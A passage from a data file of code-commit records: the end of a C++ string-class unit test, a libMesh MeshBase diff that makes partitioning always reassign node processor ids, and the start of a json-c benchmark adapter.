SECTION(\"Calling constructor after initial creation\"){\n            twine orig = \"I am a short string\";\n            twine t; t = orig;\n            REQUIRE_FALSE(t.empty());\n            REQUIRE(t.size() == 19);\n            REQUIRE(t.capacity() == TWINE_SMALL_STRING - 1);\n\n            REQUIRE(t.compare(orig) == 0);\n            REQUIRE(&t != &orig);\n        }\n    } \n\n    SECTION(\"Copy Long Twine\") {\n        twine orig = \"\";\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>improve bullet hitting detection<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2014 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\n\n\/\/ library configuration\n#include \"libmesh\/libmesh_config.h\"\n\n\/\/ C++ includes\n#include <algorithm> \/\/ for std::min\n#include <map>       \/\/ for std::multimap\n#include <sstream>   \/\/ for std::ostringstream\n\n\n\/\/ Local includes\n#include \"libmesh\/boundary_info.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/mesh_base.h\"\n#include \"libmesh\/parallel.h\"\n#include \"libmesh\/partitioner.h\"\n#include \"libmesh\/point_locator_base.h\"\n#include \"libmesh\/threads.h\"\n\nnamespace libMesh\n{\n\n\n\n\/\/ ------------------------------------------------------------\n\/\/ MeshBase class member functions\nMeshBase::MeshBase (const Parallel::Communicator &comm_in,\n                    unsigned char d) :\n  ParallelObject (comm_in),\n  boundary_info  (new BoundaryInfo(*this)),\n  _n_parts       (1),\n  _is_prepared   (false),\n  _point_locator (NULL),\n  _partitioner   (NULL),\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  _next_unique_id(DofObject::invalid_unique_id),\n#endif\n  _skip_partitioning(false),\n  _skip_renumber_nodes_and_elements(false)\n{\n  _elem_dims.insert(d);\n  libmesh_assert_less_equal (LIBMESH_DIM, 3);\n  libmesh_assert_greater_equal (LIBMESH_DIM, d);\n  libmesh_assert (libMesh::initialized());\n}\n\n\n#ifndef LIBMESH_DISABLE_COMMWORLD\nMeshBase::MeshBase (unsigned char d) :\n  ParallelObject (CommWorld),\n  boundary_info  (new BoundaryInfo(*this)),\n  _n_parts       (1),\n  _is_prepared   (false),\n  _point_locator (NULL),\n  _partitioner   (NULL),\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  _next_unique_id(DofObject::invalid_unique_id),\n#endif\n  _skip_partitioning(false),\n  _skip_renumber_nodes_and_elements(false)\n{\n  _elem_dims.insert(d);\n  libmesh_assert_less_equal (LIBMESH_DIM, 3);\n  libmesh_assert_greater_equal (LIBMESH_DIM, d);\n  libmesh_assert (libMesh::initialized());\n}\n#endif \/\/ !LIBMESH_DISABLE_COMMWORLD\n\n\n\nMeshBase::MeshBase (const MeshBase& other_mesh) :\n  ParallelObject (other_mesh),\n  boundary_info  (new BoundaryInfo(*this)),\n  _n_parts       (other_mesh._n_parts),\n  _is_prepared   (other_mesh._is_prepared),\n  _point_locator (NULL),\n  _partitioner   (NULL),\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  _next_unique_id(other_mesh._next_unique_id),\n#endif\n  _skip_partitioning(other_mesh._skip_partitioning),\n  _skip_renumber_nodes_and_elements(false),\n  _elem_dims(other_mesh._elem_dims)\n{\n  if(other_mesh._partitioner.get())\n    {\n      _partitioner = other_mesh._partitioner->clone();\n    }\n}\n\n\n\nMeshBase::~MeshBase()\n{\n  this->clear();\n\n  libmesh_exceptionless_assert (!libMesh::closed());\n}\n\nunsigned int MeshBase::mesh_dimension() const\n{\n  libmesh_assert(!_elem_dims.empty());\n  return cast_int<unsigned int>(*_elem_dims.rbegin());\n}\n\nvoid MeshBase::prepare_for_use (const bool skip_renumber_nodes_and_elements, const bool skip_find_neighbors)\n{\n  parallel_object_only();\n\n  \/\/ A distributed mesh may have processors with no elements (or\n  \/\/ processors with no elements of higher dimension, if we ever\n  \/\/ support mixed-dimension meshes), but we want consistent\n  \/\/ mesh_dimension anyways.\n  libmesh_assert(this->comm().verify(this->is_serial()));\n\n  if (!this->is_serial())\n    {\n      unsigned char dim = this->mesh_dimension();\n      this->comm().max(dim);\n      this->set_mesh_dimension(dim);\n    }\n\n  \/\/ Renumber the nodes and elements so that they in contiguous\n  \/\/ blocks.  By default, _skip_renumber_nodes_and_elements is false.\n  \/\/\n  \/\/ We may currently change that by passing\n  \/\/ skip_renumber_nodes_and_elements==true to this function, but we\n  \/\/ should use the allow_renumbering() accessor instead.\n  \/\/\n  \/\/ Instances where you if prepare_for_use() should not renumber the nodes\n  \/\/ and elements include reading in e.g. an xda\/r or gmv file. In\n  \/\/ this case, the ordering of the nodes may depend on an accompanying\n  \/\/ solution, and the node ordering cannot be changed.\n\n  if (skip_renumber_nodes_and_elements)\n    {\n      libmesh_deprecated();\n      this->allow_renumbering(false);\n    }\n\n  \/\/ Mesh modification operations might not leave us with consistent\n  \/\/ id counts, but our partitioner might need that consistency.\n  if(!_skip_renumber_nodes_and_elements)\n    this->renumber_nodes_and_elements();\n  else\n    this->update_parallel_id_counts();\n\n  \/\/ Let all the elements find their neighbors\n  if(!skip_find_neighbors)\n    this->find_neighbors();\n\n  \/\/ Partition the mesh.\n  this->partition();\n\n  \/\/ If we're using ParallelMesh, we'll want it parallelized.\n  this->delete_remote_elements();\n\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  \/\/ Assign DOF object unique ids\n  this->assign_unique_ids();\n#endif\n\n  if(!_skip_renumber_nodes_and_elements)\n    this->renumber_nodes_and_elements();\n\n  \/\/ Search the mesh for all the dimensions of the elements\n  \/\/ and cache them.\n  this->cache_elem_dims();\n\n  \/\/ Reset our PointLocator.  This needs to happen any time the elements\n  \/\/ in the underlying elements in the mesh have changed, so we do it here.\n  this->clear_point_locator();\n\n  \/\/ The mesh is now prepared for use.\n  _is_prepared = true;\n}\n\n\n\nvoid MeshBase::clear ()\n{\n  \/\/ Reset the number of partitions\n  _n_parts = 1;\n\n  \/\/ Reset the _is_prepared flag\n  _is_prepared = false;\n\n  \/\/ Clear boundary information\n  this->get_boundary_info().clear();\n\n  \/\/ Clear element dimensions\n  _elem_dims.clear();\n\n  \/\/ Clear our point locator.\n  this->clear_point_locator();\n}\n\n\n\nvoid MeshBase::subdomain_ids (std::set<subdomain_id_type> &ids) const\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  ids.clear();\n\n  const_element_iterator el  = this->active_local_elements_begin();\n  const_element_iterator end = this->active_local_elements_end();\n\n  for (; el!=end; ++el)\n    ids.insert((*el)->subdomain_id());\n\n  \/\/ Some subdomains may only live on other processors\n  this->comm().set_union(ids);\n}\n\n\n\nsubdomain_id_type MeshBase::n_subdomains() const\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  std::set<subdomain_id_type> ids;\n\n  this->subdomain_ids (ids);\n\n  return cast_int<subdomain_id_type>(ids.size());\n}\n\n\n\n\ndof_id_type MeshBase::n_nodes_on_proc (const processor_id_type proc_id) const\n{\n  \/\/ We're either counting a processor's nodes or unpartitioned\n  \/\/ nodes\n  libmesh_assert (proc_id < this->n_processors() ||\n                  proc_id == DofObject::invalid_processor_id);\n\n  return static_cast<dof_id_type>(std::distance (this->pid_nodes_begin(proc_id),\n                                                 this->pid_nodes_end  (proc_id)));\n}\n\n\n\ndof_id_type MeshBase::n_elem_on_proc (const processor_id_type proc_id) const\n{\n  \/\/ We're either counting a processor's elements or unpartitioned\n  \/\/ elements\n  libmesh_assert (proc_id < this->n_processors() ||\n                  proc_id == DofObject::invalid_processor_id);\n\n  return static_cast<dof_id_type>(std::distance (this->pid_elements_begin(proc_id),\n                                                 this->pid_elements_end  (proc_id)));\n}\n\n\n\ndof_id_type MeshBase::n_active_elem_on_proc (const processor_id_type proc_id) const\n{\n  libmesh_assert_less (proc_id, this->n_processors());\n  return static_cast<dof_id_type>(std::distance (this->active_pid_elements_begin(proc_id),\n                                                 this->active_pid_elements_end  (proc_id)));\n}\n\n\n\ndof_id_type MeshBase::n_sub_elem () const\n{\n  dof_id_type ne=0;\n\n  const_element_iterator       el  = this->elements_begin();\n  const const_element_iterator end = this->elements_end();\n\n  for (; el!=end; ++el)\n    ne += (*el)->n_sub_elem();\n\n  return ne;\n}\n\n\n\ndof_id_type MeshBase::n_active_sub_elem () const\n{\n  dof_id_type ne=0;\n\n  const_element_iterator       el  = this->active_elements_begin();\n  const const_element_iterator end = this->active_elements_end();\n\n  for (; el!=end; ++el)\n    ne += (*el)->n_sub_elem();\n\n  return ne;\n}\n\n\n\nstd::string MeshBase::get_info() const\n{\n  std::ostringstream oss;\n\n  oss << \" Mesh Information:\"                                  << '\\n'\n      << \"  mesh_dimension()=\"    << this->mesh_dimension()    << '\\n'\n      << \"  spatial_dimension()=\" << this->spatial_dimension() << '\\n'\n      << \"  n_nodes()=\"           << this->n_nodes()           << '\\n'\n      << \"    n_local_nodes()=\"   << this->n_local_nodes()     << '\\n'\n      << \"  n_elem()=\"            << this->n_elem()            << '\\n'\n      << \"    n_local_elem()=\"    << this->n_local_elem()      << '\\n'\n#ifdef LIBMESH_ENABLE_AMR\n      << \"    n_active_elem()=\"   << this->n_active_elem()     << '\\n'\n#endif\n      << \"  n_subdomains()=\"      << static_cast<std::size_t>(this->n_subdomains()) << '\\n'\n      << \"  n_partitions()=\"      << static_cast<std::size_t>(this->n_partitions()) << '\\n'\n      << \"  n_processors()=\"      << static_cast<std::size_t>(this->n_processors()) << '\\n'\n      << \"  n_threads()=\"         << static_cast<std::size_t>(libMesh::n_threads()) << '\\n'\n      << \"  processor_id()=\"      << static_cast<std::size_t>(this->processor_id()) << '\\n';\n\n  return oss.str();\n}\n\n\nvoid MeshBase::print_info(std::ostream& os) const\n{\n  os << this->get_info()\n     << std::endl;\n}\n\n\nstd::ostream& operator << (std::ostream& os, const MeshBase& m)\n{\n  m.print_info(os);\n  return os;\n}\n\n\nvoid MeshBase::partition (const unsigned int n_parts)\n{\n  \/\/ NULL partitioner means don't partition\n  \/\/ Non-serial meshes aren't ready for partitioning yet.\n  if(!skip_partitioning() &&\n     partitioner().get() &&\n     this->is_serial())\n    {\n      partitioner()->partition (*this, n_parts);\n    }\n  else\n    {\n      \/\/ Make sure locally cached partition count\n      this->recalculate_n_partitions();\n\n      \/\/ Make sure any other locally cached data is correct\n      this->update_post_partitioning();\n    }\n}\n\nunsigned int MeshBase::recalculate_n_partitions()\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  const_element_iterator el  = this->active_local_elements_begin();\n  const_element_iterator end = this->active_local_elements_end();\n\n  unsigned int max_proc_id=0;\n\n  for (; el!=end; ++el)\n    max_proc_id = std::max(max_proc_id, static_cast<unsigned int>((*el)->processor_id()));\n\n  \/\/ The number of partitions is one more than the max processor ID.\n  _n_parts = max_proc_id+1;\n\n  this->comm().max(_n_parts);\n\n  return _n_parts;\n}\n\n\n\nconst PointLocatorBase& MeshBase::point_locator () const\n{\n  libmesh_deprecated();\n\n  if (_point_locator.get() == NULL)\n    {\n      \/\/ PointLocator construction may not be safe within threads\n      libmesh_assert(!Threads::in_threads);\n\n      _point_locator.reset (PointLocatorBase::build(TREE_ELEMENTS, *this).release());\n    }\n\n  return *_point_locator;\n}\n\n\nAutoPtr<PointLocatorBase> MeshBase::sub_point_locator () const\n{\n  if (_point_locator.get() == NULL)\n    {\n      \/\/ PointLocator construction may not be safe within threads\n      libmesh_assert(!Threads::in_threads);\n\n      _point_locator.reset (PointLocatorBase::build(TREE_ELEMENTS, *this).release());\n    }\n\n  return PointLocatorBase::build(TREE_ELEMENTS, *this, _point_locator.get());\n}\n\n\n\nvoid MeshBase::clear_point_locator ()\n{\n  _point_locator.reset(NULL);\n}\n\n\n\nstd::string& MeshBase::subdomain_name(subdomain_id_type id)\n{\n  return _block_id_to_name[id];\n}\n\nconst std::string& MeshBase::subdomain_name(subdomain_id_type id) const\n{\n  \/\/ An empty string to return when no matching subdomain name is found\n  static const std::string empty;\n\n  std::map<subdomain_id_type, std::string>::const_iterator iter = _block_id_to_name.find(id);\n  if (iter == _block_id_to_name.end())\n    return empty;\n  else\n    return iter->second;\n}\n\n\n\n\nsubdomain_id_type MeshBase::get_id_by_name(const std::string& name) const\n{\n  \/\/ Linear search over the map values.\n  std::map<subdomain_id_type, std::string>::const_iterator\n    iter = _block_id_to_name.begin(),\n    end_iter = _block_id_to_name.end();\n\n  for ( ; iter != end_iter; ++iter)\n    if (iter->second == name)\n      return iter->first;\n\n  \/\/ If we made it here without returning, we don't have a subdomain\n  \/\/ with the requested name, so return Elem::invalid_subdomain_id.\n  return Elem::invalid_subdomain_id;\n}\n\nvoid MeshBase::cache_elem_dims()\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  const_element_iterator el  = this->active_local_elements_begin();\n  const_element_iterator end = this->active_local_elements_end();\n\n  for (; el!=end; ++el)\n    _elem_dims.insert((*el)->dim());\n\n  \/\/ Some different dimension elements may only live on other processors\n  this->comm().set_union(_elem_dims);\n}\n\n} \/\/ namespace libMesh\n<commit_msg>Always repartition mesh nodes<commit_after>\/\/ The libMesh Finite Element Library.\n\/\/ Copyright (C) 2002-2014 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner\n\n\/\/ This library is free software; you can redistribute and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\n\n\/\/ library configuration\n#include \"libmesh\/libmesh_config.h\"\n\n\/\/ C++ includes\n#include <algorithm> \/\/ for std::min\n#include <map>       \/\/ for std::multimap\n#include <sstream>   \/\/ for std::ostringstream\n\n\n\/\/ Local includes\n#include \"libmesh\/boundary_info.h\"\n#include \"libmesh\/elem.h\"\n#include \"libmesh\/mesh_base.h\"\n#include \"libmesh\/parallel.h\"\n#include \"libmesh\/partitioner.h\"\n#include \"libmesh\/point_locator_base.h\"\n#include \"libmesh\/threads.h\"\n\nnamespace libMesh\n{\n\n\n\n\/\/ ------------------------------------------------------------\n\/\/ MeshBase class member functions\nMeshBase::MeshBase (const Parallel::Communicator &comm_in,\n                    unsigned char d) :\n  ParallelObject (comm_in),\n  boundary_info  (new BoundaryInfo(*this)),\n  _n_parts       (1),\n  _is_prepared   (false),\n  _point_locator (NULL),\n  _partitioner   (NULL),\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  _next_unique_id(DofObject::invalid_unique_id),\n#endif\n  _skip_partitioning(false),\n  _skip_renumber_nodes_and_elements(false)\n{\n  _elem_dims.insert(d);\n  libmesh_assert_less_equal (LIBMESH_DIM, 3);\n  libmesh_assert_greater_equal (LIBMESH_DIM, d);\n  libmesh_assert (libMesh::initialized());\n}\n\n\n#ifndef LIBMESH_DISABLE_COMMWORLD\nMeshBase::MeshBase (unsigned char d) :\n  ParallelObject (CommWorld),\n  boundary_info  (new BoundaryInfo(*this)),\n  _n_parts       (1),\n  _is_prepared   (false),\n  _point_locator (NULL),\n  _partitioner   (NULL),\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  _next_unique_id(DofObject::invalid_unique_id),\n#endif\n  _skip_partitioning(false),\n  _skip_renumber_nodes_and_elements(false)\n{\n  _elem_dims.insert(d);\n  libmesh_assert_less_equal (LIBMESH_DIM, 3);\n  libmesh_assert_greater_equal (LIBMESH_DIM, d);\n  libmesh_assert (libMesh::initialized());\n}\n#endif \/\/ !LIBMESH_DISABLE_COMMWORLD\n\n\n\nMeshBase::MeshBase (const MeshBase& other_mesh) :\n  ParallelObject (other_mesh),\n  boundary_info  (new BoundaryInfo(*this)),\n  _n_parts       (other_mesh._n_parts),\n  _is_prepared   (other_mesh._is_prepared),\n  _point_locator (NULL),\n  _partitioner   (NULL),\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  _next_unique_id(other_mesh._next_unique_id),\n#endif\n  _skip_partitioning(other_mesh._skip_partitioning),\n  _skip_renumber_nodes_and_elements(false),\n  _elem_dims(other_mesh._elem_dims)\n{\n  if(other_mesh._partitioner.get())\n    {\n      _partitioner = other_mesh._partitioner->clone();\n    }\n}\n\n\n\nMeshBase::~MeshBase()\n{\n  this->clear();\n\n  libmesh_exceptionless_assert (!libMesh::closed());\n}\n\nunsigned int MeshBase::mesh_dimension() const\n{\n  libmesh_assert(!_elem_dims.empty());\n  return cast_int<unsigned int>(*_elem_dims.rbegin());\n}\n\nvoid MeshBase::prepare_for_use (const bool skip_renumber_nodes_and_elements, const bool skip_find_neighbors)\n{\n  parallel_object_only();\n\n  \/\/ A distributed mesh may have processors with no elements (or\n  \/\/ processors with no elements of higher dimension, if we ever\n  \/\/ support mixed-dimension meshes), but we want consistent\n  \/\/ mesh_dimension anyways.\n  libmesh_assert(this->comm().verify(this->is_serial()));\n\n  if (!this->is_serial())\n    {\n      unsigned char dim = this->mesh_dimension();\n      this->comm().max(dim);\n      this->set_mesh_dimension(dim);\n    }\n\n  \/\/ Renumber the nodes and elements so that they in contiguous\n  \/\/ blocks.  By default, _skip_renumber_nodes_and_elements is false.\n  \/\/\n  \/\/ We may currently change that by passing\n  \/\/ skip_renumber_nodes_and_elements==true to this function, but we\n  \/\/ should use the allow_renumbering() accessor instead.\n  \/\/\n  \/\/ Instances where you if prepare_for_use() should not renumber the nodes\n  \/\/ and elements include reading in e.g. an xda\/r or gmv file. In\n  \/\/ this case, the ordering of the nodes may depend on an accompanying\n  \/\/ solution, and the node ordering cannot be changed.\n\n  if (skip_renumber_nodes_and_elements)\n    {\n      libmesh_deprecated();\n      this->allow_renumbering(false);\n    }\n\n  \/\/ Mesh modification operations might not leave us with consistent\n  \/\/ id counts, but our partitioner might need that consistency.\n  if(!_skip_renumber_nodes_and_elements)\n    this->renumber_nodes_and_elements();\n  else\n    this->update_parallel_id_counts();\n\n  \/\/ Let all the elements find their neighbors\n  if(!skip_find_neighbors)\n    this->find_neighbors();\n\n  \/\/ Partition the mesh.\n  this->partition();\n\n  \/\/ If we're using ParallelMesh, we'll want it parallelized.\n  this->delete_remote_elements();\n\n#ifdef LIBMESH_ENABLE_UNIQUE_ID\n  \/\/ Assign DOF object unique ids\n  this->assign_unique_ids();\n#endif\n\n  if(!_skip_renumber_nodes_and_elements)\n    this->renumber_nodes_and_elements();\n\n  \/\/ Search the mesh for all the dimensions of the elements\n  \/\/ and cache them.\n  this->cache_elem_dims();\n\n  \/\/ Reset our PointLocator.  This needs to happen any time the elements\n  \/\/ in the underlying elements in the mesh have changed, so we do it here.\n  this->clear_point_locator();\n\n  \/\/ The mesh is now prepared for use.\n  _is_prepared = true;\n}\n\n\n\nvoid MeshBase::clear ()\n{\n  \/\/ Reset the number of partitions\n  _n_parts = 1;\n\n  \/\/ Reset the _is_prepared flag\n  _is_prepared = false;\n\n  \/\/ Clear boundary information\n  this->get_boundary_info().clear();\n\n  \/\/ Clear element dimensions\n  _elem_dims.clear();\n\n  \/\/ Clear our point locator.\n  this->clear_point_locator();\n}\n\n\n\nvoid MeshBase::subdomain_ids (std::set<subdomain_id_type> &ids) const\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  ids.clear();\n\n  const_element_iterator el  = this->active_local_elements_begin();\n  const_element_iterator end = this->active_local_elements_end();\n\n  for (; el!=end; ++el)\n    ids.insert((*el)->subdomain_id());\n\n  \/\/ Some subdomains may only live on other processors\n  this->comm().set_union(ids);\n}\n\n\n\nsubdomain_id_type MeshBase::n_subdomains() const\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  std::set<subdomain_id_type> ids;\n\n  this->subdomain_ids (ids);\n\n  return cast_int<subdomain_id_type>(ids.size());\n}\n\n\n\n\ndof_id_type MeshBase::n_nodes_on_proc (const processor_id_type proc_id) const\n{\n  \/\/ We're either counting a processor's nodes or unpartitioned\n  \/\/ nodes\n  libmesh_assert (proc_id < this->n_processors() ||\n                  proc_id == DofObject::invalid_processor_id);\n\n  return static_cast<dof_id_type>(std::distance (this->pid_nodes_begin(proc_id),\n                                                 this->pid_nodes_end  (proc_id)));\n}\n\n\n\ndof_id_type MeshBase::n_elem_on_proc (const processor_id_type proc_id) const\n{\n  \/\/ We're either counting a processor's elements or unpartitioned\n  \/\/ elements\n  libmesh_assert (proc_id < this->n_processors() ||\n                  proc_id == DofObject::invalid_processor_id);\n\n  return static_cast<dof_id_type>(std::distance (this->pid_elements_begin(proc_id),\n                                                 this->pid_elements_end  (proc_id)));\n}\n\n\n\ndof_id_type MeshBase::n_active_elem_on_proc (const processor_id_type proc_id) const\n{\n  libmesh_assert_less (proc_id, this->n_processors());\n  return static_cast<dof_id_type>(std::distance (this->active_pid_elements_begin(proc_id),\n                                                 this->active_pid_elements_end  (proc_id)));\n}\n\n\n\ndof_id_type MeshBase::n_sub_elem () const\n{\n  dof_id_type ne=0;\n\n  const_element_iterator       el  = this->elements_begin();\n  const const_element_iterator end = this->elements_end();\n\n  for (; el!=end; ++el)\n    ne += (*el)->n_sub_elem();\n\n  return ne;\n}\n\n\n\ndof_id_type MeshBase::n_active_sub_elem () const\n{\n  dof_id_type ne=0;\n\n  const_element_iterator       el  = this->active_elements_begin();\n  const const_element_iterator end = this->active_elements_end();\n\n  for (; el!=end; ++el)\n    ne += (*el)->n_sub_elem();\n\n  return ne;\n}\n\n\n\nstd::string MeshBase::get_info() const\n{\n  std::ostringstream oss;\n\n  oss << \" Mesh Information:\"                                  << '\\n'\n      << \"  mesh_dimension()=\"    << this->mesh_dimension()    << '\\n'\n      << \"  spatial_dimension()=\" << this->spatial_dimension() << '\\n'\n      << \"  n_nodes()=\"           << this->n_nodes()           << '\\n'\n      << \"    n_local_nodes()=\"   << this->n_local_nodes()     << '\\n'\n      << \"  n_elem()=\"            << this->n_elem()            << '\\n'\n      << \"    n_local_elem()=\"    << this->n_local_elem()      << '\\n'\n#ifdef LIBMESH_ENABLE_AMR\n      << \"    n_active_elem()=\"   << this->n_active_elem()     << '\\n'\n#endif\n      << \"  n_subdomains()=\"      << static_cast<std::size_t>(this->n_subdomains()) << '\\n'\n      << \"  n_partitions()=\"      << static_cast<std::size_t>(this->n_partitions()) << '\\n'\n      << \"  n_processors()=\"      << static_cast<std::size_t>(this->n_processors()) << '\\n'\n      << \"  n_threads()=\"         << static_cast<std::size_t>(libMesh::n_threads()) << '\\n'\n      << \"  processor_id()=\"      << static_cast<std::size_t>(this->processor_id()) << '\\n';\n\n  return oss.str();\n}\n\n\nvoid MeshBase::print_info(std::ostream& os) const\n{\n  os << this->get_info()\n     << std::endl;\n}\n\n\nstd::ostream& operator << (std::ostream& os, const MeshBase& m)\n{\n  m.print_info(os);\n  return os;\n}\n\n\nvoid MeshBase::partition (const unsigned int n_parts)\n{\n  \/\/ NULL partitioner means don't partition\n  \/\/ Non-serial meshes aren't ready for partitioning yet.\n  if(!skip_partitioning() &&\n     partitioner().get() &&\n     this->is_serial())\n    {\n      partitioner()->partition (*this, n_parts);\n    }\n  else\n    {\n      \/\/ Adaptive coarsening may have \"orphaned\" nodes on processors\n      \/\/ whose elements no longer share them.  We need to check for\n      \/\/ and possibly fix that.\n      Partitioner::set_node_processor_ids(*this);\n\n      \/\/ Make sure locally cached partition count\n      this->recalculate_n_partitions();\n\n      \/\/ Make sure any other locally cached data is correct\n      this->update_post_partitioning();\n    }\n}\n\nunsigned int MeshBase::recalculate_n_partitions()\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  const_element_iterator el  = this->active_local_elements_begin();\n  const_element_iterator end = this->active_local_elements_end();\n\n  unsigned int max_proc_id=0;\n\n  for (; el!=end; ++el)\n    max_proc_id = std::max(max_proc_id, static_cast<unsigned int>((*el)->processor_id()));\n\n  \/\/ The number of partitions is one more than the max processor ID.\n  _n_parts = max_proc_id+1;\n\n  this->comm().max(_n_parts);\n\n  return _n_parts;\n}\n\n\n\nconst PointLocatorBase& MeshBase::point_locator () const\n{\n  libmesh_deprecated();\n\n  if (_point_locator.get() == NULL)\n    {\n      \/\/ PointLocator construction may not be safe within threads\n      libmesh_assert(!Threads::in_threads);\n\n      _point_locator.reset (PointLocatorBase::build(TREE_ELEMENTS, *this).release());\n    }\n\n  return *_point_locator;\n}\n\n\nAutoPtr<PointLocatorBase> MeshBase::sub_point_locator () const\n{\n  if (_point_locator.get() == NULL)\n    {\n      \/\/ PointLocator construction may not be safe within threads\n      libmesh_assert(!Threads::in_threads);\n\n      _point_locator.reset (PointLocatorBase::build(TREE_ELEMENTS, *this).release());\n    }\n\n  return PointLocatorBase::build(TREE_ELEMENTS, *this, _point_locator.get());\n}\n\n\n\nvoid MeshBase::clear_point_locator ()\n{\n  _point_locator.reset(NULL);\n}\n\n\n\nstd::string& MeshBase::subdomain_name(subdomain_id_type id)\n{\n  return _block_id_to_name[id];\n}\n\nconst std::string& MeshBase::subdomain_name(subdomain_id_type id) const\n{\n  \/\/ An empty string to return when no matching subdomain name is found\n  static const std::string empty;\n\n  std::map<subdomain_id_type, std::string>::const_iterator iter = _block_id_to_name.find(id);\n  if (iter == _block_id_to_name.end())\n    return empty;\n  else\n    return iter->second;\n}\n\n\n\n\nsubdomain_id_type MeshBase::get_id_by_name(const std::string& name) const\n{\n  \/\/ Linear search over the map values.\n  std::map<subdomain_id_type, std::string>::const_iterator\n    iter = _block_id_to_name.begin(),\n    end_iter = _block_id_to_name.end();\n\n  for ( ; iter != end_iter; ++iter)\n    if (iter->second == name)\n      return iter->first;\n\n  \/\/ If we made it here without returning, we don't have a subdomain\n  \/\/ with the requested name, so return Elem::invalid_subdomain_id.\n  return Elem::invalid_subdomain_id;\n}\n\nvoid MeshBase::cache_elem_dims()\n{\n  \/\/ This requires an inspection on every processor\n  parallel_object_only();\n\n  const_element_iterator el  = this->active_local_elements_begin();\n  const_element_iterator end = this->active_local_elements_end();\n\n  for (; el!=end; ++el)\n    _elem_dims.insert((*el)->dim());\n\n  \/\/ Some different dimension elements may only live on other processors\n  this->comm().set_union(_elem_dims);\n}\n\n} \/\/ namespace libMesh\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/test.h\"\n\n#if !defined(_MSC_VER) || _MSC_VER >= 1800 \/\/ Before VC2013 do not support C99 variable declaration\n\n#include \"json-c\/json.h\"\n\nstatic void GenStat(Stat* s, json_object* v) {\n    switch (json_object_get_type(v)) {\n    case json_type_object:\n        {\n            json_object_object_foreach(v, key, val) {\n                GenStat(s, val);\n                s->stringCount++;\n                s->stringLength += strlen(key);\n                s->memberCount++;\n            }\n            s->objectCount++;\n        }\n        break;\n\n    case json_type_array:\n        for (int i = 0; i < json_object_array_length(v); i++)\n            GenStat(s, json_object_array_get_idx(v, i));\n        s->elementCount += json_object_array_length(v);\n        s->arrayCount++;\n        break;\n\n    case json_type_string:\n        s->stringCount++;\n        s->stringLength += json_object_get_string_len(v);\n        break;\n\n    case json_type_int:\n    case json_type_double:\n        s->numberCount++;\n        break;\n\n    case json_type_boolean:\n        if (json_object_get_boolean(v))\n            s->trueCount++;\n        else\n            s->falseCount++;\n        break;\n\n        break;\n\n    case json_type_null:\n        s->nullCount++;\n        break;\n    }\n}\n\nclass JsoncParseResult : public ParseResultBase {\npublic:\n    JsoncParseResult() : root() {}\n    ~JsoncParseResult() { json_object_put(root); }\n\n    json_object *root;\n};\n\nclass JsoncStringResult : public StringResultBase {\npublic:\n    JsoncStringResult() : s() {}\n    ~JsoncStringResult() { free(s); }\n\n    virtual const char* c_str() const { return s; }\n\n    char* s;\n};\n\nclass JsoncTest : public TestBase {\npublic:\n#if TEST_INFO\n    virtual const char* GetName() const { return \"json-c (C)\"; }\n    virtual const char* GetFilename() const { return __FILE__; }\n#endif\n\t\n#if TEST_PARSE\n    virtual ParseResultBase* Parse(const char* json, size_t length) const {\n        (void)length;\n        JsoncParseResult* pr = new JsoncParseResult;\n        pr->root = json_tokener_parse(json);\n        if (!pr->root) {\n            delete pr;\n            return 0;\n        }\n    \treturn pr;\n    }\n#endif\n\n#if TEST_STRINGIFY\n    virtual StringResultBase* Stringify(const ParseResultBase* parseResult) const {\n        const JsoncParseResult* pr = static_cast<const JsoncParseResult*>(parseResult);\n        JsoncStringResult* sr = new JsoncStringResult;\n        sr->s = StrDup(json_object_to_json_string_ext(pr->root, JSON_C_TO_STRING_PLAIN));\n        return sr;\n    }\n#endif\n\n#if TEST_PRETTIFY\n    virtual StringResultBase* Prettify(const ParseResultBase* parseResult) const {\n        const JsoncParseResult* pr = static_cast<const JsoncParseResult*>(parseResult);\n        JsoncStringResult* sr = new JsoncStringResult;\n        sr->s = StrDup(json_object_to_json_string_ext(pr->root, JSON_C_TO_STRING_PRETTY));\n        return sr;\n    }\n#endif\n\n#if 